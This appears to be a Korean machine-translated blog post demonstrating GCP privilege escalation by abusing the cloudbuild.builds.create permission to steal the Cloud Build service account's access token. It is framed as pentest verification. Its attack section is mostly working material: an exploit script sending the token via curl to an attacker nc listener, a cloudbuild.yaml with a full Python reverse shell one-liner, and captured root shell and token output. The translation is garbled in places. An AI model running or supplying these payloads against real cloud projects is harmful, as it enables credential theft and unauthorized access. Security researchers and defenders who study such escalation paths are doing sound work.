GCP에 대한 공격을 고려하다.Cloud Build 남용 권한 업그레이드

개시하다


이전 글에서는 몇 가지 GCP가 권한을 끌어올리는 방법을 소개했다.
GCP에 대한 공격을 고려하다.권한 프로모션 정보
https://zenn.dev/fire_fire_2/articles/a66019185d6ba4
이 기사에서 내용에 특별히 관련된 변화는 없고 소개만 했지만, 이번 기사에서 하나를 골라 실제 검증된 결과를 공유하고 싶다.
이번에는 GCP 클라우드 빌드를 남용하는 IAM 권한 승격을 실제로 시도했다.
GCP Penetration Testing Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
기본적으로 Rhino Security Labs에서 소개한 파일/root/tokencache/gsutil_token_cache은 파이썬 컨테이너로 GCP의 규격 변경인지 뭔지 알 수 없지만 이미 사용할 수 없기 때문에 일부 스크립트를 수정하지 않으면 권한을 업그레이드할 수 없습니다.

Cloud Build 소개


간단하게 말하면, 프로그램 구축 전용 용기를 구축하고, 그 용기에 미리 설정된 명령을 실행하여 구축하는 것이다.마지막으로 새로운 용기 자체를 구축하여 컨테이너 등록표에 로그인하거나 Kubernetes에 디자인하는 기능이다.물론 파이톤, gcloud, OS 명령 등도 사용할 수 있다.

방법을 남용하다


Python, gcloud 및 OS 명령, 즉 RCE(Remote Command Execution)를 사용할 수 있습니다.또한glocloud 명령을 사용할 수 있기 때문에$ gcloud auth print-access-tokenCloud Build를 실행하는 GCP 서비스 계정의 접근 영패를 받을 수 있습니다.
그리고 이 용기에서 인터넷으로 연결할 수 있기 때문에 내부 데이터 전송 등도 간단하게 할 수 있고 반방향 케이스를 만들 수 있다.
이에 따라 클라우드 빌드의 IAM 권한 업그레이드는 절도 서비스 계정의 액세스 토큰을 통해 이뤄졌다.

전제 조건


Cloud Build 작업을 만들 수 있는 경우 이 방법을 사용하여 권한을 향상시킬 수 있습니다.
계정에는 다음과 같은 권한이 있습니다.
  • cloudbuild.builds.create
  • 항목에서 활성화된 API:.
  • Cloud Build API/cloudbuild.googleapis.com
  • 따라서 테스트용 프로젝트,cloudbuild을 제작합니다.builds.create 권한만 부여하는 캐릭터를 만들고 계정에 할당합니다.

    공격하다


    API를 통해 Pythn 스크립트에서 Cloud Build를 실행하고 Curl에서 액세스 토큰을 전송하는 자동 방법과 glocloud 명령에서submit yaml을 통해 액세스 토큰을 표시하는 방법을 수동으로 검증합니다.

    Exploit Script(curl을 통한 전송)


    우선 자동적인 방법이다.본가의 스크립트를 수정하고 사용했습니다.지혁이한테.
    https://github.com/firefire2/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudbuild.builds.create.py
    우선, 자신의 계정(침해된 계정을 가정)의 방문 영패를 얻는다.야29부터.
    $ gcloud auth print-access-token
    ya29.hogehoge---(省略)---fugafuga
    
    인터넷에서 도착할 수 있는 서버에서 nc에서 기다립니다.
    $ sudo nc -nlvp <PORT>
    Listening on 0.0.0.0 <PORT>
    
    다음에 파이톤으로 위의 스크립트를 실행합니다.PROJECT_ID와 프로젝트 ID를 적절하게 변경하십시오.그리고 pip로 모듈을 설치해야 한다고 생각합니다.
    $ python cloudbuild.builds.create.py -p <PROJECT_ID> -l http://<IP_ADDRESS>/token
    No credential file passed in, enter an access token to authenticate? (y/n) y
    Enter an access token to use for authentication:
    
    방문 영패를 입력해야 한다는 통지를 받았기 때문에 이전에 받은 방문 영패를 입력하십시오.
    순조롭게 진행되면 nc에서 기다리는 서버는 HTTP로 연결되고 데이터에는 Cloud Build 서비스 계정의 접근 영패가 있어야 합니다.
    Connection received on 35.192.112.53 36226
    POST /token HTTP/1.1
    Host: <IP_ADDRESS>
    User-Agent: curl/7.47.0
    Accept: */*
    Content-Length: 162
    Content-Type: application/x-www-form-urlencoded
    
    ya29.c.KnL7---(省略)---RRaecCRk
    

    수동 (케이스를 거꾸로 하는 gcloud 명령)


    다음은 수동으로 해보세요.
    아래와 같은cloudbuild입니다.yaml로 만들어 주세요.IP 주소와 포트는 자체 환경에 맞게 구성됩니다.gcloud 명령에 사용되는 용기지만 파이톤이 안에서 이동하기 때문에 반전 케이스를 만들었습니다.
    steps:
    - name: 'gcr.io/cloud-builders/gcloud'
      entrypoint: 'python'
      args: ['-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP_ADDRESS>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])']
    
    인터넷에서 도착할 수 있는 서버에서 nc에서 기다립니다.
    $ sudo nc -nlvp <PORT>
    Listening on 0.0.0.0 <PORT>
    
    파일과 감청 준비가 완료되면 터미널의 gcloud 명령으로buildssubmit을 실행합니다.
    이 때 -no-source를 설치하지 않으면 스토리지 시스템에 대한 사용 권한이 부족하여 Cloud Build를 실행할 수 없습니다.
    $ gcloud builds submit --config cloudbuild.yaml --no-source
    
    다음과 같은 오류가 발생했습니다. 오류가 발생하여 Cloud Build가 실행 중입니다.
    ERROR: (gcloud.builds.submit) PERMISSION_DENIED: The caller does not have permission
    
    순조롭게 진행되면 nc에서 기다리는 서버에 반방향 케이스를 만들고 명령을 두드릴 수 있습니다.
    Connection received on 34.72.69.5 51688
    /bin/sh: 0: can't access tty; job control turned off
    # whoami  
    root
    # pwd
    /workspace
    # gcloud version
    Google Cloud SDK 332.0.0
    alpha 2021.03.12
    app-engine-go 1.9.71
    app-engine-java 1.9.87
    app-engine-python 1.9.91
    app-engine-python-extras 1.9.90
    beta 2021.03.12
    bigtable 
    bq 2.0.65
    cbt 0.9.0
    cloud-build-local 0.5.2
    cloud-datastore-emulator 2.1.0
    cloud-firestore-emulator 1.11.12
    core 2021.03.12
    datalab 20190610
    docker-credential-gcr 1.5.0
    emulator-reverse-proxy 0.0.1
    gsutil 4.59
    kubectl 1.17.17
    local-extract 0.1.5
    pubsub-emulator 0.4.0
    #
    
    여느 때와 같이 방문 영패를 획득하는 gcloud 명령을 두드리면 방문 영패를 성공적으로 표시할 수 있습니다.
    # gcloud auth list
                   Credentialed Accounts
    ACTIVE  ACCOUNT
    *       5**********[email protected]
    
    To set the active account, run:
        $ gcloud config set account `ACCOUNT`
    
    # gcloud auth print-access-token
    ya29.c.KnL7---(省略)---TxEpI
    

    영향


    아까 말씀드렸듯이 이런 방법으로 업그레이드할 수 있는 계정은 클라우드 빌드의 서비스 계정으로 이 계정의 권한을 사용하여 GCP를 조작할 수 있습니다.즉 cloudbuild.builds.create 권한만 사용하면 다음과 같은 39개의 권한이 필요한 자원에 접근할 수 있다.
    Cloud Build 서비스 계정에 대한 기본 권한
    artifactregistry.files.get
    artifactregistry.files.list
    artifactregistry.packages.get
    artifactregistry.packages.list
    artifactregistry.repositories.downloadArtifacts
    artifactregistry.repositories.get
    artifactregistry.repositories.list
    artifactregistry.repositories.uploadArtifacts
    artifactregistry.tags.create
    artifactregistry.tags.get
    artifactregistry.tags.list
    artifactregistry.tags.update
    artifactregistry.versions.get
    artifactregistry.versions.list
    cloudbuild.builds.create
    cloudbuild.builds.get
    cloudbuild.builds.list
    cloudbuild.builds.update
    containeranalysis.occurrences.create
    containeranalysis.occurrences.delete
    containeranalysis.occurrences.get
    containeranalysis.occurrences.list
    containeranalysis.occurrences.update
    logging.logEntries.create
    pubsub.topics.create
    pubsub.topics.publish
    remotebuildexecution.blobs.get
    resourcemanager.projects.get
    resourcemanager.projects.list
    source.repos.get
    source.repos.list
    storage.buckets.create
    storage.buckets.get
    storage.buckets.list
    storage.objects.create
    storage.objects.delete
    storage.objects.get
    storage.objects.list
    storage.objects.update
    
    에서는 스토리지 시스템 권한을 검증하기 위해 사용합니다.
    다음 요청을 통해 저장 목록을 표시할 수 있습니다.
    $ curl "https://storage.googleapis.com/storage/v1/b?access_token=<ACCESS_TOKEN>&project=<PROJECT_ID>"
    
    우선, 처음에 사용한 클라우드 Build만 권한을 만든 계정에 대한 접근 영패는 권한이 없는 것으로 되돌려줍니다.
    {
      "error": {
        "code": 403,
        "message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
        "errors": [
          {
            "message": "*******@gmail.com does not have storage.buckets.list access to the Google Cloud project.",
            "domain": "global",
            "reason": "forbidden"
          }
        ]
      }
    }
    
    다음으로 훔친 클라우드 빌드 서비스 계정의 액세스 토큰이 저장 정보를 되돌려줍니다.
    승리!!
    또한 상황에 따라 더 많은 접근권을 얻을 수 있는 다음 서비스의 권한을 사용할 수 있습니다.

    총결산


    이번에는 cloudbuild.builds.create의 권한에서 39개의 권한을 가진 계좌로 끌어올리는 방법의 실제 검증 결과를 소개했다.
    상시 권한인 감찰과 안전성 진단 등에서는 권한이 너무 많아 안 되는 점 등을 수량 기준으로 평가하겠다고 생각했는데 이번 안건에는 권한이 하나밖에 없었다.
    앞으로 여러분의 클라우드 환경을 재평가할 때 권한 내용의 위험을 평가하는 토대에서 체계적인 설계를 해야 합니다.

    참고 문헌


    Working-As-Intended: RCE to IAM Privilege Escalation in GCP Cloud Build
    https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

    좋은 웹페이지 즐겨찾기